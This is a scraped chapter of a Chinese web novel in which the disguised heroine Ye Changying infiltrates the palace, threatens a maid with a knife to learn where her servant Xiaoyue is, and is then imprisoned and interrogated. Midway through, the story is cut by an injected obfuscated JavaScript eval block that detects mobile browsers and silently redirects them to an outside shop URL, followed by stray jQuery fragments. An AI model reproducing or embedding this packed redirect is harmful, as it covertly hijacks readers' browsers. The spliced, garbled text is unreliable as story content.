默认冷灰
24号文字
方正启体

57. 丑女

作者:青扶客本书字数:K更新时间:
    仲夏的白日炙热无比,知了在宫墙外喊得歇斯底里。


    宫墙内歌舞升平,热闹非凡。


    一群身着霓裳的舞女,步伐轻盈地向深宫内走去。


    她们皆以纱遮面,眼神妩媚动人。


    其一人走在队伍最末,眼神飘忽,神色慌张。


    待队伍走至拐角,她便迅速闪身至角落。


    等她再次出来,已是换上了一身平常的宫女服,身量仍旧苗条。只是除去了遮面的薄纱,那娇好的身量之上,竟是一张奇丑无比的面容。


    她压低了头,不动声色混入一群端着盘子的宫女中。


    “站住。”就在此时,一个老太监尖声叫住了她。


    宫女手心已捏出了一层汗,她仍旧低着头,听着对方靠近自己的脚步声,她的心已然提到了嗓子眼。


    “抬起头来。”那老太监道。


    她听话地抬起了头,却仍旧是垂着眼。


    “别人都端着盘子,你怎么空着手啊?”就在她以为对方已经怀疑她的身份,正不知该如何应对时,对方却厉声呵斥道,“在我跟前偷懒,你是活得不耐烦了吗?”


    丑女扑通一声跪下,连连磕头认错。


    好在对方并没有过多为难她,训斥了她几句便让她走了。


    丑女不禁松了一口气,谢过那老太监便小跑着追上了队伍。


    “动作麻利点啊,别想着偷懒!”管事宫女厉声催促着,哐哐当当的声音此起彼伏,比宫墙外的蝉鸣声还令人烦躁。


    这里都是洗碗刷盘的杂役宫女,丑女混入人群中,跟着众人一起洗刷起来。


    她第一次做这种活,不免有些手忙脚乱,不一会儿便将掌事的宫女引了过来。


    “新来的?”那管事宫女看了一眼她细嫩的双手,再将目光落到她那丑陋的面容上,冷声问道。


    丑女点了点头,继续忙着手里的活。


    “手脚麻利一点,刷不完这些,晚上就别想吃饭!”


    管事宫女指了指她眼前已经堆积成山的盘子说。


    丑女再次沉默地点了点头。


    “长得这样丑,还是个哑巴。”管事宫女走开后,丑女左侧的宫女低声与同伴说。


    丑女不理会她们,继续埋头干活。


    但过了一会儿,对方就抱着一堆碗盘,放到她面前说:“把这个也洗了。”


    丑女并不与她争辩,只是在抬头看向对方的同时,迅速观察了周围一圈。


    旁边的宫女见她好欺负,也将自己的盘子端过来让她洗。


    丑女仍是只抬头看了对方一眼,便又低头忙着手中的活。


    这次抬头,丑女已经看到了自己想见之人。


    她定了定神,手上的动作更加麻利了。


    很快便到了晚餐时间,众人纷纷起身去用餐了,只有丑女眼前的碗盘还堆得很高。


    等宫女们用餐完毕,继续回来干活时,她才堪堪将面前的碗盘刷完。


    手中的盘子刚刷完,又来了一批脏碗。


    先前让丑女替自己刷盘子的宫女想故技重施,端着一大碟盘子朝她走来。


    丑女仍旧低头忙着手中的活,待对方靠近时,不动声色伸出一只脚去。


    只听哎哟一声,那宫女便抱着那一碟盘子重重摔在了地上。


    掌事宫女听到盘子摔碎的声音,快步朝这边赶来。


    摔倒的宫女狼狈地从地上爬起来,她还没来得及开口指责丑女将她绊倒,那掌事宫女就已经来到她眼前,对她劈头盖脸就是一顿骂,丝毫不给她开口解释的机会。


    那掌事宫女一顿骂骂咧咧后,便让两个太监将那个摔倒的宫女拖了下去。


    那宫女大喊着饶命,声音凄惨无比。


    众人听得心惊胆战,不敢再惹事,都默默地做着手中的活。


    “都给我长点心,贵人们的东西可不是你们的一条贱命能赔的。”掌事宫女又训斥众人一会儿才离开。


    经过这一件事,再也无人敢去招惹丑女了。


    因为只做自己那一份活,丑女便按时完成了任务。


    做完这一天的活,已是午夜时分,宫女们早就困倦不已,纷纷打着哈欠回房休息了。


    只有几个手脚比较笨的宫女还在拼命刷着盘子。


    丑女虽然已经完成了自己的任务,但她并没有着急离开,而是径直朝她对面的宫女走去:“我来帮你。”


    她坐在那宫女对面说。


    宫女向她投来感激的目光,但神色紧张地朝四周看了看,才压低声音说:“这可使不得呀,若是让人发现了,咱俩都逃不过一顿毒打。”


    “掌事姑娘已经去休息了,没人会知道我帮了你。”


    “你原来不是哑巴!”听到丑女讲话,对方惊讶不已。


    “当然不是。”丑女冲她笑了笑说。


    “我之前怎么没有见过你?”


    “我昨天才来的。”丑女面不改色道。


    宫女没有惊讶,心中还在感激她来帮自己。


    两人齐心协力,很快便将脏盘子洗完了。


    “今日多亏了你,要不然,今晚我休想能睡个好觉。”宫女说,“你快去歇着吧,明日还要早起呢。”


    丑女却拉住她,拽着她来到一个没人的地方。


    被丑女拽走时,那宫女心中虽害怕,但因她帮了自己,潜意识里认为她不是坏人,故而没有大喊大叫,任由她拽着走。


    “你识得她么?”丑女掏出一副画像。


    宫女看了一眼那副画像,脸色骤然就变了,她用力摇了摇头说:“不认识。”


    “这画上之人名叫小月,原是良人身边的贴身侍女,后来良人跑了,她便被分配到了这儿,做了洗碗刷盘子的杂役宫女。在这儿,她认识了一位名叫青云的宫女,两人感情深厚,情同姐妹。”


    “你究竟是何人?”宫女已被吓得脸色苍白。


    “你不用管我是谁,你只管告诉我她在哪儿,我是来救她的。”


    宫女如何会相信她的话,张口便要呼救,不料一把冰冷的短刀快她一步抵住了她的咽喉。


    那宫女已被吓得双腿发软,忘了求饶亦忘了呼救。


    眼看那刀子就要刺穿她的皮肉,宫女连忙说:“早在十日前,她便已经出宫了,可具体去了哪里,我已不知啊。”


    “你最好说的是实话,否则……”她将短剑往前一推,那宫女便被逼得只能紧紧贴着墙面站立,半点也动弹不得,“你这条小命不要紧,可你家中的幼弟还有那老母,可就要跟着你一同遭殃了。”


    那冰冷的剑刃早被温热的鲜血捂热了,宫女浑身颤抖,望着眼前这个相貌丑陋的可怕女人,连呼吸也变得异常困难。


    “你那幼弟名叫小赫,八岁出头,右颊有一颗黑痣,你那老母······”


    “我说的都是实话,并无半句虚言。”没等丑女说完,这位名为青云的宫女便开口了,“那日她匆匆收东西,说有人要杀她,她要出宫躲避,不等我询问,便离开了。我真的不知道她如今在哪里,我一个低等宫女,整日在这宫里做粗活,外头的事,一概不知啊!”


    那丑女终是放开了她,一个闪身,便消失在了夜色里。


    原来那丑女便是叶长赢,那日她收到小月寄来的信件,便一直担心她的安危。


    经过一番思想斗争,她便决定入宫来打探消息。


    她在丹阳城寻到当日被自己派去送小月出宫的车夫,这才得知,小月当晚并未离宫,反倒仍留在宫中。


    待她离去之后,小月便被打发去做了杂役宫女,而她在宫里,唯独与一位名叫青云的宫女最为亲厚。


    叶长赢心想,或许可以从这位宫女口里得知小月的去向。


    于是她便提前去调查了这宫女,方才才能用她的家人威胁她。


    青云说的话她并未全信,但她心知再也问不出什么了,于是果断离开了。


    留给叶长赢的时间并不多了,她必须在天黑前离开这儿。


    她既历经千辛走进这座宫闱,自然不能轻易离开。


    小月倘若没能逃出宫去,又所幸还活着,那么她此时最有可能被关在隐宫里。


    隐宫,是建在腋庭最深处的一座三层牢狱,是专门关押重犯之地。


    当初,温青桁曾带她去参观过一次,大致的路径她还记得。


    但那里守卫森严,连只苍蝇都飞不进去,更不用说是一个大活人了。


    就在这时,一阵纷乱的脚步声朝着这边走来。


    细听那脚步声,似乎是巡逻的士兵。


    叶长赢暗道不好。


    闪身躲进一旁的草丛中,她听到那几个士兵在说:“找仔细了,她跑不掉的。”


    叶长赢心头一紧,莫非那青云已经将她告发?


    她来不及多想,待那群士兵走远后,便起身躲至一个隐秘处。


    她迅速褪去外面那件粗布麻衣,露出里头面料细软的普通宫女服。


    再将脸上那一张面皮扯下,从怀中取一张新的面皮,轻轻往脸上一贴,便让她换了一副面孔。


    她在应天城时,时常要带面皮,所以换面皮这事对她来说已经是信手拈来了。


    叶长赢堪堪将面皮带好,正要转身离开时,一把冰冷的长剑却抵住了她的后颈。


    叶长赢被吓得瞬间手脚冰凉,半晌她才战战兢兢开口道:“大、大人,娘娘的簪子丢了,让……奴婢前来寻……”


    “带走!”


    对方并未理会她的话。


    两名士兵押着她就走。


    昏黄的灯光下,叶长赢渐渐认出这便是去往隐宫的路。


    果然,那青云将她告发了。


    小月大概是没能逃脱他们的魔爪,就算小月万幸还活着,她如今自身难保,想要将她救出,简直妄想。


    “走快点!”身后的士兵用力推了她一把,叶长赢踉跄着往前走去。


    不多时,她便被带到了一处角门前。


    外头是一扇普通的木门,打开这扇木门,里面还有一扇沉重的铁门。


    两名士兵合力才将那扇铁门打开。


    进了铁门,路就变得十分狭窄了,仅容一人通过。


    叶长赢被推搡着,跌跌撞撞从石阶往下走去。


    七拐八弯走了良久,眼前便出现了一道石门。


    士兵按住开关,那道笨重的石门便缓缓上升。


    一股霉烂的潮气扑面而来,叶长赢不禁屏住了呼吸。


    叶长赢被推了进去。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336652|185582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    里头的陈设与普通牢房并无差别,数间牢房并排陈列着,里面关着的人个个瘦骨嶙峋,披头散发。


    叶长赢一个一个看过去,并没有一个人与小月长得相像。


    她被关进了最后一间铁牢里。


    那几名士兵什么话也不与她讲,用力将铁门一关便离开了。


    不一会儿,便听到那道石门缓缓落下的声音。


    片刻后,周围便陷入了死一般的静寂。


    听不到士兵离开的脚步声。


    孤寂与黑暗狠狠将人裹挟着,那阴湿腐烂的气味同样不肯将人放过。


    叶长赢感觉有些喘不上气来,那味道不似简单的霉烂味。


    是了。


    那是一种尸体腐烂的味道。


    叶长赢突然感觉胃里一阵翻江倒海,忍不住干呕起来。


    就在此时,牢房里突然传来几声奇怪的叫声。


    那声音似笑非笑,似哭非哭,怪异至极。


    叶长赢不禁觉得头皮发麻,抱住身子蜷到了角落。


    “小姑娘,”听到声音,叶长赢便猛地抬起了头,可惜周围黑漆漆一片,什么也看不见,“你在吐什么?”


    叶长赢确定了,那声音是从隔壁牢房里传来的。


    她进来时,将牢房里的每个人都仔细地看了一遍,记得隔壁关的是一个头发花白的老人,双脚被铁链牢牢栓着,身体骨瘦如柴,面如枯槁。


    叶长赢没有回答他,一动不动地坐着,一点声音也不敢发出来。


    “你胆子这么小,可不像是能犯大事的人啊,你是怎么进来的?”


    叶长赢仍旧不说话。


    对方又发出几声怪笑,便安静了下来。


    过了一会儿,叶长赢才站起来,小心翼翼扒着铁门往外看。


    黑暗中,只看到一团黑影坐在那里,一动也不动。


    “大伯,大伯……”叶长赢朝对面喊了几声,那团黑影仍是一动不动。


    她以为自己的声音太小,对方没有听到,于是提高嗓门又喊了几声,但仍是没有任何作用。


    “大……”


    “听见了,听见了!”


    叶长赢试探性地正要再喊一遍,却听对方突然开口了。


    他原来早听见了!


    这老头好生奇怪。


    叶长赢不禁在心中嘟囔。


    但对他的惧怕却少了一些,叶长赢鼓起勇气问道:“你在这儿见过一个年轻的女子么?”


    对方冷笑一声,似乎在笑她问出这样的蠢问题:“这儿来的人可多了,有年轻的女人,年轻的男人,还有老男人,老女人。”


    “那姑娘年芳二十上下,不高不矮,体态匀称,生得一张鹅蛋脸……最重要的是,鼻尖上有一颗米粒大小的黑痣。”叶长赢尽力描述着小月的样貌。


    可那老头又不理她了,仿佛方才与她讲话之人不是他一般。


    “老伯,你可曾见过这样一个姑娘?”


    “什么样的姑娘啊?”


    听闻此言,叶长赢愣在了当场。


    这老头究竟是神志不清,还是有意戏耍于她?


    叶长赢知道从他嘴里多半问不出什么了,但她仍旧仔细将小月的样貌描述给他听。


    果不其然,对方又不搭理她了。


    叶长赢气结,大声叫嚷道:“喂,老头,你有没有在听我讲话?”


    “吵死了。”这声音是从另外一间牢房传出来的。


    叶长赢喜出望外,连忙说:“这儿可曾进来过一个……”


    话刚说出口,她便立马噤声不语了,因为她听到那扇石门打开的声音。


    果然没过一会儿,便听到了几声杂乱的脚步声。


    黑暗的牢房终于被火光点亮,但牢里的人似乎已经习惯了这种暗无天日的生活,对突如其来的灯光感到局促不安。


    当火光照在脸上时,叶长赢的身子忍不住往后缩了缩。


    一张木椅落下,有一人缓缓落座。


    “是谁指使你的?”他一说话,叶长赢便认出来了。


    此人正是温青桁身边的大太监赵秉。


    叶长赢心中没有应对之策,便选择沉默不语。


    “你最好识相一些,把你知道的都说了,我便可保你无恙,否则……不用我说你也该知道,你接下来会遭遇些什么。”赵秉用目光审视着眼前的女子说。


    “我不知道你在说什么?你们无缘无故将我关在这里,问一些莫名其妙的话,到底想要做什么?”叶长赢瞪着双眼,怒视着对方。


    但对上那双狡黠的目光时,她很快便败下阵来了。


    “这小姑娘嘴硬得很呐。”赵秉说着,便朝着身后的士兵打了个手势。


    士兵心领神会,上前将牢门打开。


    还没等她反应过来,两个士兵就走进来,拽着她的胳膊就将她带了出去。


    “你们要干嘛?”叶长赢拼命挣扎,但毫无作用。


    很快,她便被带到了另一处牢房。


    一股浓烈难闻的气息率先将她包围住了。


    是血腥味!


    没错,是血腥味!


    叶长赢不禁打了一个冷颤,抬头的那一刻,她便僵在了原地,身体半分也动弹不得。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)